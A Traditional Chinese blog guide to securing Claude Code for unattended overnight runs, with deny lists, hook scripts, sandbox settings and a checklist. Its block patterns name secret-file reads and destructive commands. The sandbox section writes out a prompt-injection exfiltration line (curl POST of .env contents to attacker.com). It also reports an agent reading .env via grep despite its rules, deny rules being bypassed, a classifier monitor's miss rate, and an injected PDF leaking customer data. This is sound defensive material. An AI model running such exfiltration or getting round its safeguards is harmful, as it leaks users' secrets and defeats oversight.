部落格

如何設定 Claude Code,避免它在夜間弄壞你的專案

Markdown

7 個 hooks、設定 permissions 的 settings.json,以及一份 12 點檢查清單,讓 Claude Code 整晚運作而不會遺失 .env 或資料庫。4 層防護。

閱讀全文

Ailoot 文件 — 使用此服務的參考資料。

2026 年有哪些變化:自主運作的 Claude Code 與真實事件

重要重點

2026 年,Anthropic 推出了 auto-mode、/loop 和 /schedule,Claude Code 現在可以連續工作數小時而不必等候確認。自主運作的代價是真實事件:正式環境資料庫遭刪除、.env 外洩,以及 permissions.deny 的一個至今仍未修復的錯誤。本指南說明如何在第一次讓它整晚運作前,先建立 4 層防護。

以前,Claude Code 每次回應後都會停止,並為每次寫入詢問許可。這很不方便,但很安全:代理程式會等你說「好」,所以你不可能睡著時錯過事件。2026 年,這套模式改變了。Anthropic 推出了 auto-mode,由一個獨立的分類器代理程式代替你判斷是否允許每個動作。/loop 指令也出現了(在工作階段中依指定間隔執行提示),還有 /schedule(以 cron 風格排程長時間工作)。透過 claude --bg 啟動的背景工作階段會在背景執行代理程式,不需要終端機。我在指南「Claude Code 中的 /goal:自主模式與 Agent View」詳細介紹過自主模式。

問題在於,自主能力推出的速度比安全防護快。

幾週前,我叫它「整理一下」,結果它把正式環境和開發環境的資料庫都刪掉了。

— browningstreet,

同時,Anthropic 的儲存庫中有兩個尚未解決的錯誤。在將 permissions.deny 加進 settings.json 之前,你應該先了解它們:

  • Issue #44868(2026 年 4 月 7 日):儘管 CLAUDE.md 明確禁止,Claude Code 仍會透過 grep -n 將 .env 內容讀進聊天記錄。此錯誤仍未解決。
  • Issue #24846(2026 年 2 月 11 日):針對 .env* 模式的 permissions.read.deny 規則未生效;即使 deny 模式正確,Read 仍會讀取 .env.local。此問題被標記為重複項目而關閉,但並未修復。

這兩個缺口說明,僅靠 settings.json 單層防護不足。以下是 permissions、hooks、sandbox 與工作階段隔離四層模型;各層能減少暴露,卻不能讓其他層完整。引用的 auto-mode 評估不能證明正規表示式 hook 能抓住漏判。正式系統應使用沒有正式憑證與寫入權的作業系統隔離,在模型之外強制網路限制,並在無人值守執行前驗證邊界。

什麼是專案的綠色區與紅色區?

重要重點

綠色區:沒有真實客戶或金流的本機專案。紅色區:任何包含正式環境資料庫、付款或個人資料的專案。在綠色區,你可以搭配最少量的 hooks 使用 auto-mode。在紅色區,必須建立 4 層防護,而且在架構上禁止使用 --dangerously-skip-permissions。

替每個專案建置相同的防護毫無意義。沒有部署到外部的本機個人專案,和處理實際付款、儲存客戶資料的服務,風險層級完全不同。如果處處使用相同防護,你會在綠色區拖慢速度,卻仍在紅色區留下漏洞。

只要符合以下三個條件之一,專案就會從綠色區轉為紅色區:出現真實客戶、系統開始有金流,或資料庫包含個人資料。在那之前,你可以使用 auto-mode、最少量的 hooks,而且不需要 sandbox。之後就必須依照本指南的完整設定重新建置防護。

核心原則:防護等級取決於所在區域,與開發階段無關。使用測試 Stripe 帳戶的本機個人專案屬於綠色區。有一位付費客戶和一張註冊表單的服務已經屬於紅色區,即使它看起來仍像是「草稿」。在早期專案中,混淆這些區域是常見陷阱:「我們還在草稿階段,之後再加防護」,結果第一位客戶下週就付款了。

settings.json 中的權限階層如何運作?

重要重點

在 settings.json 中,deny 規則永遠優先於 allow;而不同範圍(user → project → local → managed)會合併,而不是互相覆寫。在使用者層級對 .env、*.pem 和 ~/.ssh/** 設定 deny,即使你使用別人的儲存庫也能受到保護。disableBypassPermissionsMode 鍵也能從架構上封鎖 YOLO 模式。

Anthropic 在官方文件中說明了權限評估階層:先檢查 deny 規則,再檢查 ask,最後檢查 allow,並套用第一個相符的規則。這表示 deny 永遠優先於 allow。如果你在 ~/.claude/settings.json 禁止讀取 .env,即使有人在專案的 .claude/settings.json 設定 allow,生效的仍是你的禁止規則,而不是對方的許可。

安全且精簡的使用者層級 ~/.claude/settings.json 範例:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

這裡做了什麼?前六條規則會封鎖讀取目前目錄和所有子目錄中的機密檔案。*.pem 和 *.key 是 SSL/TLS 金鑰與 SSH 金鑰。credentials*.json 是雲端供應商常見的檔名。最後三個是包含 SSH 金鑰、AWS 憑證和 GPG 金鑰的系統目錄。

disableBypassPermissionsMode: "disable" 鍵會封鎖 --dangerously-skip-permissions 旗標(也稱為 YOLO 模式)。這能一勞永逸地消除一類錯誤:即使你不小心在指令碼或別名中加入此旗標,Claude Code 也會拒絕接受。它不只會移除旗標,還會回傳錯誤:「mode disabled by managed settings」。

此外,從 2.1.142 版開始,如果 defaultMode: "auto" 鍵位於專案或本機設定中,就會被忽略。這可防止發生「我進入別人的儲存庫,裡面的 .claude/settings.json 預設啟用了自動模式」的情況。Anthropic 明確表示,儲存庫不能在未取得使用者同意的情況下啟用 auto-mode。

這是第一道防線。你不能只停在這裡,因為它還有兩個缺口,稍後會說明。

為什麼 permissions.deny 還不夠:兩個未解決的 GitHub issues

重要重點

2026 年 4 月,一位使用者在 Anthropic 的儲存庫提出 issue #44868:即使 CLAUDE.md 禁止,Claude 仍會透過 grep -n 讀取 .env,並將內容印在對話記錄中。2 月的 issue #24846 則回報,針對 .env* 的 permissions.read.deny 在 Read 工具層級無效。兩個問題都仍未解決,這代表沒有額外 hook 的 settings.json 就像漏水的篩子。

如果 permissions.deny 有效,指南在上一節就可以結束了。但它並非如此。

Issue #44868(2026 年 4 月 7 日):使用者明確在 CLAUDE.md 中禁止讀取 .env、.dev.vars 和其他包含機密的檔案。Claude 沒有使用 Read,而是執行 grep -n SOMETHING .env。grep -n 會印出完整的相符行及其行號,其中包括實際的 API token。該行會進入 tool_result、顯示在工作階段記錄中,並儲存到歷史紀錄。

作者提醒的一個細節是:模型的安全反應是在輸出已經產生之後才觸發,而不是在指令執行前觸發。換句話說,Claude 先執行 grep、取得包含 token 的行並印在聊天中,之後才發現錯誤並「道歉」。但那時 token 已經進入聊天歷史紀錄。唯一的補救方法是輪替金鑰。

Issue #24846(2026 年 2 月 11 日):使用者在 permissions.read.deny 中設定了包含 **/.env* 模式的清單,接著要求 Claude 讀取 .env.local。Read 工具成功完成,沒有任何錯誤,並印出檔案內容。

此 issue 被當作重複項目關閉,但並未修復。截至本指南撰寫時(2026 年 6 月),仍可重現。

結論:settings.json 的第一層防護並非徒勞。但這些例子沒有測量能防止多少比例的意外讀取。但它無法阻止透過 Bash 執行指令(cat .env、grep API_KEY .env、head .env)、權限執行錯誤(issue #24846),或透過 git diff 或 git show 查看包含 .env 的提交等巧妙操作鏈。這就是你需要第二層防護——hooks 的原因。

Hooks 如何封鎖已辨識的危險動作?

重要重點

在 Claude Code 中,hooks 是於特定事件(PreToolUse、UserPromptSubmit、Stop)執行的 shell 指令碼,可透過結束代碼 2 或包含 permissionDecision: "deny" 的 JSON 封鎖動作。與 permissions 和 CLAUDE.md 不同,hook 是一層中介軟體,會在執行前攔截呼叫,不需要模型參與。

Hooks 的抽象層級與 permissions 不同。Permissions 是模型決定要做什麼時會考量的規則。Hook 的運作方式則不同:模型決定呼叫工具後,hook 會在模型和系統之間執行、檢查輸入,並允許或封鎖該呼叫。模型不會參與 hook 的決策;那是你自行撰寫的 shell 程式碼。

Anthropic 在官方 hooks 文件中說明了封鎖行為:

Exit 2 代表封鎖錯誤。Claude Code 會忽略 stdout 及其中所有 JSON,而是將 stderr 文字當成錯誤訊息傳回 Claude。

— Claude Code 文件(Hooks),https://code.claude.com/docs/en/hooks

這代表兩件事。第一,設定正確的阻擋 hook 可以拒絕匹配工具呼叫。PreToolUse 的結束碼 2 會封鎖該呼叫,但不能證明腳本辨識所有等效危險指令。第二,你可以在 stderr 中放入有意義的訊息,Claude 會將它讀作錯誤並嘗試其他方法。換句話說,hook 不只是「柵欄」,而是「附有說明為何不能通過的牌子的柵欄」。

可以用 exit 2 封鎖的事件:

  • PreToolUse—在執行前封鎖工具呼叫。這是防禦型 hooks 的主要事件。
  • PermissionRequest—拒絕 Claude 詢問許可的動作。
  • UserPromptSubmit—封鎖並清除使用者的提示。提示中含有可疑文字時很有用(例如來自預先植入郵件的提示注入)。
  • Stop—阻止 Claude 結束工作階段。可用來建立「迴圈」,讓代理程式持續工作直到符合某個條件。
  • PreCompact—封鎖自動壓縮脈絡。若你希望在人工決定前保留對話記錄,這項功能很有用。
  • WorktreeCreate—拒絕建立 worktree。可防止 Claude 嘗試在意料之外的位置複製儲存庫。

另一種方式是回傳含有 hookSpecificOutput.permissionDecision 欄位的 JSON,而非使用結束代碼 2。permissionDecision 有四種可能值:

  • allow—明確允許動作,並略過標準權限流程。
  • deny—封鎖動作;在 PreToolUse 中等同於 exit 2。
  • ask—交由使用者決定(會出現對話框)。
  • defer—將決定延後交給一般權限邏輯處理。

這讓 hook 比只用結束代碼更能控制流程。使用 permissionDecision: "ask",你可以將原本直接執行的操作改為需要確認,而不必完全封鎖。我會用這種方式處理 npm install <new package> 和鎖定檔變更。

若想深入了解 hooks 的運作方式,以及 Claude Code 目前提供的 31 種事件,請參閱我的另一篇指南「Claude Code 的 Hooks:7 條可直接複製的規則」。接下來我會提供適用於自主工作的具體 hooks。

夜間工作時,我會使用哪 7 個 Hooks?

重要重點

以下 PreToolUse hooks 只示範 7 類檢查:部分機密讀取、辨識出的字面 git push、部分 SQL 與 rm -rf 模式、套件安裝與 manifest 變更,以及匹配工具呼叫日誌。啟用前請在本機測試匹配與漏判,這些正規表示式不完整,不能建立正式安全邊界。

這是第二層防護,用來補強第一層。所有 hooks 都放在 .claude/hooks/,並透過 .claude/settings.json 註冊,而且必須安裝 jq。

Hook 1:防止讀取 .env、.pem 和 credentials.json

新增針對部分 Read 路徑及常見 Bash 機密讀取指令的檢查,並非涵蓋所有工具或所有讀取機密方式。檔案:.claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

在 .claude/settings.json 中註冊:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

安裝後,執行 chmod +x .claude/hooks/block-secret-reads.sh。測試方式:要求 Claude 讀取 .env.local,你會看到「Secret file. Use op:// references or env vars.」的回應,而不是檔案內容。

Hook 2:在夜間工作階段封鎖字面 git push

無人值守工作時,此範例保守地封鎖所有辨識出的字面 git push,也包含功能分支。它不推論目前分支,也不判斷 force 旗標是否安全。檔案:.claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

透過 PreToolUse 及 Bash matcher 註冊。它封鎖辨識出的 push,而非解析旗標與分支,因此涵蓋 git push --force origin main、git push origin main --force、git push -f、git push origin HEAD:main,以及 && 或 ; 串接中的字面 push。這些是離線字串匹配例子,不是要對遠端執行的指令。

它仍是文字啟發式檢查;Git 別名、shell 函式、git -C ... push、組合指令名、指令碼或其他工具都可能繞過,不是完整 shell 解析器。應在 Git 伺服器強制保護分支、移除繞過憑證,並在無正式寫入權的隔離環境執行無人值守工作;漏掉匹配不能授予正式權限。

Hook 3:封鎖破壞性的 SQL 操作

直接應對資料庫遭刪除的事件。檔案:.claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

註冊時設定:PreToolUse 搭配 matcher: "Bash"。請注意差異:DROP 和沒有 WHERE 的 DELETE 會完全封鎖;沒有 WHERE 的 UPDATE 則會改為 ask。某些時候這可能是合理操作(例如在 migration 中為所有記錄設定旗標),但仍一律需要人工確認。

Hook 4:rm -rf 篩選器

這是 Anthropic 文件中的標準範例,調整為附帶原因的 deny:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

此 hook 允許 rm -rf node_modules、rm -rf .next/cache 和其他明確指定範圍的刪除操作。它會封鎖 rm -rf .、rm -rf /、rm -rf ~ 等「全部清除」指令。

Hook 5:確認是否安裝新套件

此 hook 用來抵禦供應鏈攻擊。如果 Claude 自行決定加入新的相依套件,畫面會顯示對話框:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

這個 hook 讓鎖定檔中的相依套件可以自由安裝,但新增相依套件時必須確認。

Hook 6:保護 package.json 和鎖定檔

任何相依套件清單的變更,都應該有人檢查,尤其是夜間。

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

使用 PreToolUse 和 Write|Edit matcher 註冊。

Hook 7:所有 Bash 呼叫的端對端稽核記錄

如果夜間出了問題,你需要完整記錄才能了解事件的先後順序。請在 settings.json 中註冊(不需要獨立指令碼;jq 會處理所有事情):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

.claude/audit.jsonl 會逐行增加記錄。早上夜間 /loop 結束後,你可以執行 tail -n 100 .claude/audit.jsonl | jq,查看代理程式在各個時間點做了什麼。這對事後分析至關重要,因為工作階段記錄可能很長且難以閱讀,而稽核記錄能提供清楚的時間軸。

Sandbox 和 worktree 隔離如何保護長時間工作階段?

重要重點

Claude Code 的 sandbox 會隔離檔案系統和網路。Anthropic 表示,在安全程度相同的情況下,權限請求可減少 84%。即使代理程式已讀取 .env,網路隔離仍可阻止它將內容外傳至遠端伺服器。對長時間背景工作階段而言,sandbox + worktree 是必要設定。

如果 hooks 是「附有說明的柵欄」,sandbox 就是「柵欄 + 護城河 + 無人機防護網」。這是第四層防護,用來處理 hooks 放行某個動作,但即使執行了該動作,也不應讓環境外部受到傷害的情況。

Anthropic 在關於 sandbox 的部落格文章(2025 年 10 月 20 日)中報告了內部測量結果:

根據我們的內部資料,使用 sandbox 可安全地將權限提示減少 84%。

— Anthropic Engineering,https://www.anthropic.com/engineering/claude-code-sandboxing

這表示啟用 /sandbox 後,Claude 不再詢問 84% 的動作是否取得許可,因為這些動作在實際上無法離開 sandbox。這有助於提升速度,但不是 sandbox 最主要的價值。

Sandbox 提供兩種隔離,各有不同用途:

檔案系統隔離會將讀寫範圍限制在明確允許的目錄中。即使 hook 漏掉了寫入 /etc/hosts 或讀取 ~/.ssh/id_rsa 的嘗試,sandbox 也會在系統呼叫層級擋下它。這是作業系統層級的防護,應用程式層無法察覺。

網路隔離只允許連線至核准的伺服器。這對防止資料外洩攻擊至關重要。設想一個情境:惡意植入檔案中的提示注入誘使 Claude 讀取 .env(因為使用了不尋常的讀取路徑,所以 hook 沒有攔截),接著模型決定執行 curl -X POST attacker.com -d "$ENV_CONTENT"。沒有網路隔離時,這會成功。有了網路隔離,因為 attacker.com 不在清單中,curl 就無法連線。

在 Claude Code 中使用 /sandbox 指令啟動。在 ~/.claude/settings.json 中設定:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

使用 claude --bg 啟動的長時間背景工作階段,應在 sandbox 中加入 worktree 隔離。這是 Claude Code 的原生機制:每個背景工作階段都會自動移至自己位於 .claude/worktrees/<name>/ 的目錄,並使用個別分支。這代表平行工作階段在寫入相同檔案時不會互相干擾。我在指南「Agent View 和 Worktrees:Claude Code 的自主模式」詳細介紹過 worktree 隔離。

Sandbox 是回饋迴圈的一環。Claude 知道自己的動作受到限制時,就會更謹慎地工作,也會更清楚地說明中間步驟。

2026 年的 auto-mode 適用與不適用於哪些情況?

重要重點

Claude Code 中的 Auto-mode 是 Sonnet 4.6 分類器,會依據 Anthropic 的規則自動判斷,取代手動權限管理。根據 Anthropic 自己的說法,它對危險動作的偽陰性率為 17%,而分類器連續拒絕 3 次或累計拒絕 20 次後,工作階段就會停止。在綠色區,它可合理取代手動核准;在紅色區,仍必須使用 hooks。

2026 年 3 月,Anthropic 推出 auto-mode,稱它是「手動審查與毫無護欄之間的折衷方案」。這是一個獨立的 Sonnet 4.6 模型,在 Claude 執行每個動作之前,會依照一系列準則進行評估。Anthropic 在 Anthropic Engineering 部落格中說明了運作機制:

Auto-mode 是 Claude Code 的新模式,會將核准交由模型型分類器處理。它介於手動審查與毫無護欄之間。

— Anthropic Engineering,https://www.anthropic.com/engineering/claude-code-auto-mode

Auto-mode 有兩個重要限制:

  • 如果工作階段累計出現連續 3 次或總共 20 次分類器拒絕,模型就會停止並交由人工處理。這可以防止「Claude 不斷嘗試以 100 種不同說法繞過限制,執行同一個指令」的情況。
  • 如果某個動作與使用者通常會核准的典型案例有 93% 相似,Auto-mode 就會允許它。這可減少權限疲勞,但無法防範非典型的危險動作。

以下是最值得留意的主要數字:

對真實世界中過度躁進的動作,偽陰性率為 17%——這才是坦白的數字。

— Anthropic Engineering,https://www.anthropic.com/engineering/claude-code-auto-mode

報告的 17% 是該評估的偽陰性率,不是你專案每個動作的機率,也不能證明範例 hooks 能抓住漏判。紅色區的無人值守工作,必須強制隔離正式寫入與機密,並在伺服器保護分支、使用無法繞過規則的憑證。

實務上,hooks 應作為可丟棄、可復原環境的額外檢查。即使本機專案也可能有 Git 無法還原的未追蹤檔案或憑證。紅色區的 hook 漏判,必須由實際存取控制攔住;一組正規表示式不能把任意 shell 執行變成確定的安全保證。

為什麼要將脈絡分成三種工作階段?

重要重點

最危險的操作鏈不是一個糟糕的指令,而是連續執行三個普通指令。代理程式讀取 .env(合理)、解析收到的電子郵件(合理),然後對外傳送 HTTP 請求(合理)。每個動作單獨看都安全,合在一起卻構成資料外洩。保護方法是將三類任務分開到權限不同的工作階段中。

以下三類任務不應放在同一個工作階段中:

類型 1:處理個人資料。 工作階段可以存取正式環境資料庫、傳送電子郵件,也可以查看憑證。它不能存取外部文件(電子郵件、PDF、網頁),也不能將資料傳送到任意地址。

類型 2:處理外部文件。 工作階段可以解析收到的電子郵件、下載網頁,以及讀取電子郵件中的 PDF。它不能存取包含個人資料的資料庫,也不能在未經明確確認的情況下對外傳送任何內容。

類型 3:對外發布。 工作階段可以在社群網路發文、傳送電子郵件行銷活動,以及建立 pull requests。它不能存取個人資料,也不能解析收到的內容。

為什麼要分開?如果一個工作階段包辦所有工作,只要一份被植入提示注入的 PDF(例如競爭對手的代理商寄來一張「發票」),就足以讓代理程式一次讀取客戶資料庫、找出客戶的電子郵件地址,再將地址傳給攻擊者。這條操作鏈中的每個動作都符合各自任務類型的權限。合在一起就會造成洩漏。

最令人害怕的資料外洩模式不是某個壞指令,而是一連串完全正常的指令。代理程式讀取 .env(允許),透過 HTTP 傳送(允許),事情就這樣發生了。

— ibrahim_h,HackerNews,

實際上,可以依不同任務類型使用不同的 .claude 目錄。我在自己的電腦上保留三種設定:~/projects/business-ops/.claude/(類型 1,可存取資料庫;除內部 API 外禁止網路)、~/projects/inbox-parsing/.claude/(類型 2,禁止所有網路)、~/projects/social-posting/.claude/(類型 3,允許連線至 Telegram、Slack API)。每個目錄都是 Claude Code 的獨立專案,擁有自己的 permissions 和 hooks。

啟動 /loop 前要檢查哪 12 項?

重要重點

這是一份 12 點檢查清單,我會在夜間啟動 /loop、/schedule 或 claude --bg 前逐項檢查。內容從設定基本 deny 的 ~/.claude/settings.json 到具備網路隔離的 /sandbox。只要有一項未涵蓋,我就不會啟動。

  1. ~/.claude/settings.json 在使用者層級對 .env*、*.pem、*.key、credentials*.json、~/.ssh/**、~/.aws/** 設定 deny。這是基礎;沒有它,其餘防護都毫無意義。

  2. 在 ~/.claude/settings.json 設定 disableBypassPermissionsMode: "disable"。一勞永逸地封鎖 YOLO 旗標。

  3. 針對選定機密讀取指令測試 block-secret-reads.sh 範例;真實機密與正式憑證必須讓無人值守環境無法存取。

  4. block-force-push.sh 範例不分旗標順序或目的地,封鎖辨識出的字面 push;Git 伺服器仍須強制保護分支與無繞過憑證。

  5. block-destructive-sql.sh hook,防止 DROP TABLE、TRUNCATE,以及沒有 WHERE 的 DELETE FROM。

  6. block-rm-rf.sh hook,防止未明確指定範圍的 rm -rf。

  7. ask-on-new-deps.sh hook,處理 npm install <new package>(與不帶引數的 npm install 不同)。

  8. ask-on-lockfile-change.sh hook,處理寫入 package.json、pnpm-lock.yaml、requirements.txt、pyproject.toml 和 Cargo.toml 的操作。

  9. 使用一個統括性的 audit.jsonl 記錄所有 Bash、Write 和 Edit 呼叫。沒有它,就無法進行事後分析。

  10. 所有長時間背景工作階段都在 worktree 中執行,而不是 main 分支:claude --bg "task" 會自動建立 worktree,但請確認 settings.json 沒有包含 worktree.bgIsolation: "none"。

  11. 啟動長時間自主任務前,先啟用 /sandbox。檔案系統僅限專案目錄和 /tmp。網路則將 api.anthropic.com、github.com 和 registry.npmjs.org 列入允許清單。

  12. 在任務中安排驗證步驟:每次重大變更後,都要執行測試執行器或 linter。如果失敗,代理程式必須先修復,才能繼續。

最後一項是工作方式,而不是工具設定。讓 Claude 有方法檢查自己的工作成果。有了驗證,代理程式會在檢查通過後才繼續,避免錯誤不斷累積到早上。

7 種反模式:不要這麼做

重要重點

本文提及的專案中常見的七種錯誤:在可存取正式環境的主機上執行 --dangerously-skip-permissions、只依賴 CLAUDE.md、未加上 hook 就信任 permissions.deny,以及沒有備份規則就使用 auto-mode。每種錯誤都與來源中提到的真實事件有關。

1. 在可存取正式環境的主機上使用 --dangerously-skip-permissions。 Browningstreet 因為一個「整理一下」指令,就失去了正式環境和開發環境的資料庫。犯錯的代價是耗費數小時復原,加上備份中不存在的資料。如果事件已經發生,請開啟「AI 刪除資料庫時該怎麼辦:復原檢查清單」,並依序完成 10 個步驟。

2. 只依賴 CLAUDE.md 保護安全。 Issue #44868 證明,模型會先行動再道歉。文字檔中的建議性指示無法封鎖工具呼叫。設定正確的 hook 能阻擋匹配呼叫,作業系統、sandbox 與服務端存取控制則強制更廣泛邊界。CLAUDE.md 對專案脈絡很重要,我曾在「如何正確設定 CLAUDE.md」另行介紹,但它無法保護你免受自主代理程式影響。

3. 只依賴 settings.json 中的 permissions.deny,沒有加上 hook。 Issue #24846 自 2026 年 2 月起一直未解決。針對 .env* 的 deny 可透過 Bash 中的 grep 繞過。Hook 可增加檢查,但機密也必須排除於無人值守環境;正規表示式不能完整取代存取控制。

4. 把 auto-mode 加正規表示式 hooks 當作正式環境隔離。 引用的偽陰性率只適用該評估,hook 涵蓋也不完整。應移除正式寫入憑證並驗證強制邊界,而非假設每個危險動作都會攔截。

5. 未經確認就用 npm install 安裝新套件。 供應鏈攻擊是真實存在的。2024–2026 年的 Tea-tags 事件顯示,遭到仿冒拼字的套件可能有數千次下載。你需要允許清單。

6. 不記錄 Bash 呼叫。 沒有稽核記錄,你就無法了解夜間發生了什麼。聊天記錄很長、無法依指令索引,也沒有時間軸。.claude/audit.jsonl 可以同時解決這兩個問題。

7. 背景工作階段不使用 worktree。 在同一個目錄中執行的平行工作階段會互相干擾。Claude Code 從 2.1.143 版起預設啟用 worktree.bgIsolation,但仍要檢查你的設定。

還有一件事是任何 hook 或設定都無法避免的:

這句話不只是修辭。負責保護正式環境的人,就是啟動代理程式的人。Claude Code 就像一把直式剃刀:你可以用它刮鬍子,也可以割傷自己。設定要回答一個問題:你是否已充分準備環境,確保這把剃刀不會割傷不該割傷的東西?

更多資源請見 Ailoot。

更多詳情

常見問題:如何設定 Claude Code,避免它在夜間弄壞你的專案

force-push hook 能防範所有 shell 指令對正式環境的影響嗎?

不能。修正範例封鎖辨識出的字面 git push,包含旗標順序、隱含分支、refspec 與普通 shell 串接;別名、包裝與組合指令仍可能繞過。應在伺服器強制保護分支,移除可繞過的憑證。

讓代理整夜執行之前,需要什麼?

使用無正式寫入權及可讀機密的隔離環境,驗證網路與服務端限制,測試 hook 預期匹配及漏掉情境。hooks 增加檢查,不能取代真正強制邊界。

所有文章